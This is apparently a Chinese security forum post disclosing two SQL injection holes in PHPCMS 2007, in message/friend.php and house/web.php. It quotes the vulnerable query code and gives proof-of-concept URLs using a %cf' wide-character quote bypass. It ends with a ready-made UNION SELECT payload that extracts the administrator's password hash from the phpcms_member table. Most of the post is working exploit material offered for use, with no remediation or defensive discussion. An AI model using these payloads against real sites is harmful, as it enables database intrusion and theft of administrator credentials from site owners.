包罗万象--好东西要收藏--共享无限

为什么说是最后的两个注射呢？因为这个2007版的PHPCMS已经木人研究了，现在发两个我和luoye发现的小洞

都玩烂了的，大大们别笑哈~~

====================================================================

message/friend.php

............................................................
if ($_username != $username)
{
if ($action == 'add')
{
$res = $db->query("SELECT userid FROM ".TABLE_MEMBER." where username='$username'");
............................................................

http://127.0.0.1/phpcms/message/friend.php?action=add&username=luoye%cf'

=====================================================================

house/web.php

............................................................
if($username)
{
    $r = $db->get_one("SELECT * FROM ".TABLE_MEMBER." m,".TABLE_MEMBER_INFO." i WHERE m.username='".$username."' AND m.userid=i.userid");
............................................................

http://127.0.0.1/phpcms/house/web.php?username=luoye%cf'

=====================================================================

Test for sp6：http://127.0.0.1/phpcms/house/web.php?username=luoye% cf'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,password,65/**/from/**/phpcms_member/**/where/**/userid=1/*